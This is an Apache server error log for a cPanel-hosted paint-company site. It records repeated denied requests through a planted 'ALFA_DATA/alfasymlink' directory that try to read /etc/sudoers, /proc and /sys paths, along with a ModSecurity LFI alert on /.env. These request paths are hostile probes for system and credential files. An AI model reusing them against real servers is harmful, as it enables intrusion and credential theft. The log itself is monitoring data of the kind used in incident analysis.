[Sun Oct 25 19:45:15.622653 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 45.187.97.209:42195] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/align
[Sun Oct 25 19:45:16.551514 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 186.7.188.67:56940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/destroy_by_rcu
[Sun Oct 25 19:45:18.424860 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 68.202.70.21:49369] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/destroy_by_rcu
[Sun Oct 25 19:45:21.335228 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 82.15.122.247:43637] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/destroy_by_rcu
[Sun Oct 25 19:45:34.255905 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 34.194.14.255:25301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:45:46.341144 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 44.209.35.147:26392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:45:48.429830 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 177.37.137.127:34831] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects_partial
[Sun Oct 25 19:45:50.250798 2026] [ssl:error] [pid 2918422:tid 2918422] (5)Input/output error: [client 44.223.116.180:18218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:45:51.527105 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 170.0.59.69:2508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/objects_partial
[Sun Oct 25 19:45:54.132858 2026] [ssl:error] [pid 2922333:tid 2922333] (5)Input/output error: [client 44.194.134.53:13221] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:10.763706 2026] [core:error] [pid 2920879:tid 2920879] (13)Permission denied: [client 199.127.248.203:51283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/sanity_checks
[Sun Oct 25 19:46:13.435189 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 109.107.229.44:14258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/sanity_checks
[Sun Oct 25 19:46:14.203026 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 98.84.184.80:58483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:16.142354 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 185.136.148.13:36349] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/sanity_checks
[Sun Oct 25 19:46:20.858731 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 185.191.171.12:13076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/demouids
[Sun Oct 25 19:46:22.326167 2026] [ssl:error] [pid 2924261:tid 2924261] (70014)End of file found: [client 54.166.104.83:7263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:26.315049 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 34.205.163.103:4900] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:28.733215 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 197.244.56.255:54178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/hwcache_align
[Sun Oct 25 19:46:30.038232 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 104.13.33.12:55605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/hwcache_align
[Sun Oct 25 19:46:31.855631 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 69.125.121.225:49123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/hwcache_align
[Sun Oct 25 19:46:34.164191 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 34.231.45.47:43240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:35.243150 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 181.189.16.42:5316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objs_per_slab
[Sun Oct 25 19:46:38.754995 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 35.148.177.154:3328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio
[Sun Oct 25 19:46:38.755607 2026] [security2:error] [pid 2919322:tid 2919322] [client 35.148.177.154:3328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio"] [unique_id "at6U3pHo7mmwz2JULlIsYwAAAAw"]
[Sun Oct 25 19:46:38.755630 2026] [security2:error] [pid 2919322:tid 2919322] [client 35.148.177.154:3328] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio"] [unique_id "at6U3pHo7mmwz2JULlIsYwAAAAw"]
[Sun Oct 25 19:46:40.471512 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 187.13.254.42:6994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objs_per_slab
[Sun Oct 25 19:46:40.970998 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 91.186.251.121:58554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio
[Sun Oct 25 19:46:42.728654 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 187.18.213.58:41068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/objs_per_slab
[Sun Oct 25 19:46:43.614534 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 197.48.254.232:35530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio
[Sun Oct 25 19:46:46.189221 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 54.90.244.132:48072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:46:53.661767 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 154.27.129.3:22467] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objects
[Sun Oct 25 19:46:59.347889 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 91.186.248.38:65356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects
[Sun Oct 25 19:47:03.198486 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 98.204.82.10:51592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects
[Sun Oct 25 19:47:04.916733 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 75.138.42.177:39869] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/objects
[Sun Oct 25 19:47:10.181737 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 98.83.10.183:18654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:47:10.181933 2026] [security2:error] [pid 2918422:tid 2918422] [client 98.83.10.183:18654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/subsystem/input5/capabilities/ff"] [unique_id "at6U_smX8eKs_cgmrz9vhwAAAAU"]
[Sun Oct 25 19:47:10.181972 2026] [security2:error] [pid 2918422:tid 2918422] [client 98.83.10.183:18654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/device/subsystem/input5/capabilities/ff"] [unique_id "at6U_smX8eKs_cgmrz9vhwAAAAU"]
[Sun Oct 25 19:47:14.841745 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 9.138.247.161:58738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/sanity_checks
[Sun Oct 25 19:47:17.037101 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 152.231.230.208:41546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/sanity_checks
[Sun Oct 25 19:47:17.769696 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 16.216.88.152:51200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers
[Sun Oct 25 19:47:22.179350 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 52.6.97.88:51481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:47:23.622365 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 89.183.181.153:64711] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/shrink
[Sun Oct 25 19:47:26.216943 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 41.208.191.3:63721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/shrink
[Sun Oct 25 19:47:28.371913 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 73.151.93.135:33912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/shrink
[Sun Oct 25 19:47:34.363049 2026] [ssl:error] [pid 2922865:tid 2922865] (70014)End of file found: [client 52.54.249.218:31694] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:47:42.277133 2026] [ssl:error] [pid 2918422:tid 2918422] (5)Input/output error: [client 44.218.6.93:19754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:47:46.226067 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 185.191.171.4:13590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/min_partial
[Sun Oct 25 19:47:50.309024 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 52.2.191.202:64039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:47:51.600968 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 38.51.207.132:47844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/destroy_by_rcu
[Sun Oct 25 19:47:57.735095 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 95.144.201.201:45385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/hwcache_align
[Sun Oct 25 19:47:58.185129 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 107.20.224.184:51177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:48:01.535042 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 81.213.152.158:49828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/destroy_by_rcu
[Sun Oct 25 19:48:02.262236 2026] [ssl:error] [pid 2922333:tid 2922333] (70014)End of file found: [client 34.225.87.80:62420] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:48:02.428438 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 89.43.135.62:44262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/hwcache_align
[Sun Oct 25 19:48:05.749297 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 177.249.168.71:57105] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/hwcache_align
[Sun Oct 25 19:48:06.203270 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.221.244.28:57324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:48:18.194924 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 3.220.148.166:20250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:48:31.533622 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 38.95.88.171:44634] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs_cpu_partial
[Sun Oct 25 19:48:34.001629 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 38.196.229.208:57418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs_cpu_partial
[Sun Oct 25 19:48:34.360000 2026] [security2:error] [pid 2922855:tid 2922855] [client 54.167.32.123:50135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/"] [unique_id "at6VUqxue2ehJB_2I-PEFQAAAAY"]
[Sun Oct 25 19:48:34.360088 2026] [security2:error] [pid 2922855:tid 2922855] [client 54.167.32.123:50135] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/"] [unique_id "at6VUqxue2ehJB_2I-PEFQAAAAY"]
[Sun Oct 25 19:48:36.579002 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 186.158.120.144:41697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs_cpu_partial
[Sun Oct 25 19:48:38.007317 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 47.58.89.122:52718] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/object_size
[Sun Oct 25 19:48:50.197397 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 100.29.160.53:20710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:48:50.328373 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 97.202.6.231:49739] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objs_per_slab
[Sun Oct 25 19:48:52.846362 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 45.175.115.29:4339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objs_per_slab
[Sun Oct 25 19:48:54.923011 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 82.122.12.98:52676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objs_per_slab
[Sun Oct 25 19:48:58.404911 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.94.199.128:12356] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:02.185963 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 100.29.164.178:9120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:05.063350 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 169.224.17.191:22221] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/object_size
[Sun Oct 25 19:49:06.230012 2026] [ssl:error] [pid 2922867:tid 2922867] (70014)End of file found: [client 3.232.102.111:46229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:07.477085 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 186.44.193.227:60419] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/object_size
[Sun Oct 25 19:49:09.807391 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 148.224.11.167:43172] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/object_size
[Sun Oct 25 19:49:10.740467 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 52.71.216.196:47154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/iosf_mbi_pci/unbind
[Sun Oct 25 19:49:14.439187 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 185.191.171.15:11018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/cpu_slabs
[Sun Oct 25 19:49:22.488437 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 184.72.84.154:52350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:26.270875 2026] [ssl:error] [pid 2923347:tid 2923347] (70014)End of file found: [client 54.225.98.148:17690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:30.193267 2026] [ssl:error] [pid 2922855:tid 2922855] (70014)End of file found: [client 34.225.243.131:20769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:34.298121 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 44.223.232.55:19181] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:36.159167 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 180.191.74.226:23323] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/slabs_cpu_partial
[Sun Oct 25 19:49:39.076500 2026] [security2:error] [pid 2913030:tid 2913030] [client 107.172.76.131:49330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Vh9ACfKmH39GTPJ9jXAAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:49:39.076560 2026] [security2:error] [pid 2913030:tid 2913030] [client 107.172.76.131:49330] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Vh9ACfKmH39GTPJ9jXAAAAAg"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 19:49:45.213075 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 178.238.10.193:48068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/red_zone
[Sun Oct 25 19:49:45.877940 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 108.46.244.147:36409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/slabs_cpu_partial
[Sun Oct 25 19:49:47.131270 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 187.14.49.229:39474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/red_zone
[Sun Oct 25 19:49:49.890569 2026] [core:error] [pid 2924261:tid 2924261] (13)Permission denied: [client 41.25.43.130:20428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/red_zone
[Sun Oct 25 19:49:53.003150 2026] [security2:error] [pid 2922867:tid 2922867] [client 153.66.23.169:17376] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/locale/en_NG/LC_IDENTIFICATION"] [unique_id "at6VoDWREDnPJfZ18QDVXQAAABs"]
[Sun Oct 25 19:49:53.003193 2026] [security2:error] [pid 2922867:tid 2922867] [client 153.66.23.169:17376] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/locale/en_NG/LC_IDENTIFICATION"] [unique_id "at6VoDWREDnPJfZ18QDVXQAAABs"]
[Sun Oct 25 19:49:54.186237 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.157.84.74:54271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:49:56.863941 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 85.208.96.210:12860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/usersize
[Sun Oct 25 19:50:02.281060 2026] [ssl:error] [pid 2924261:tid 2924261] (70014)End of file found: [client 52.204.81.148:34869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:50:13.659896 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 186.33.35.70:59538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/system_needs_reboot.cache
[Sun Oct 25 19:50:15.622383 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 76.51.15.71:56265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/system_needs_reboot.cache
[Sun Oct 25 19:50:17.635848 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 71.183.173.223:44635] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/system_needs_reboot.cache
[Sun Oct 25 19:50:30.218364 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 34.225.243.131:58528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:50:34.190288 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 54.235.172.96:31998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:50:35.816441 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 185.191.171.16:13918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/free_calls
[Sun Oct 25 19:50:38.225544 2026] [ssl:error] [pid 2924261:tid 2924261] (70014)End of file found: [client 3.213.85.234:23426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:50:45.114613 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 54.83.23.103:9054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:1d/subsystem/drivers/button/bind
[Sun Oct 25 19:50:54.188299 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 44.210.204.255:11016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:51:08.519225 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 97.147.1.3:50773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/sanity_checks
[Sun Oct 25 19:51:10.201526 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 50.16.72.185:48061] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:00.0/remove
[Sun Oct 25 19:51:10.384633 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 156.255.237.51:32986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/sanity_checks
[Sun Oct 25 19:51:12.116151 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 46.6.120.29:40924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/sanity_checks
[Sun Oct 25 19:51:14.192250 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 34.195.248.30:60463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:51:18.198334 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 52.207.47.227:8786] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:51:34.201000 2026] [ssl:error] [pid 2919322:tid 2919322] (70014)End of file found: [client 3.220.70.171:31422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:51:42.172399 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 23.23.103.31:4141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input5/subsystem/input1/subsystem/input5/device/driver/bind
[Sun Oct 25 19:51:44.388857 2026] [core:error] [pid 2922855:tid 2922855] (13)Permission denied: [client 2.100.228.153:39461] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/cpu_slabs
[Sun Oct 25 19:51:44.603189 2026] [core:error] [pid 2922867:tid 2922867] (13)Permission denied: [client 178.76.152.33:58343] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/min_partial
[Sun Oct 25 19:51:46.918072 2026] [core:error] [pid 2922865:tid 2922865] (13)Permission denied: [client 201.203.6.142:34493] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/min_partial
[Sun Oct 25 19:51:47.437137 2026] [security2:error] [pid 2922867:tid 2922867] [client 93.152.221.96:33470] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at6WEzWREDnPJfZ18QDVZgAAABs"]
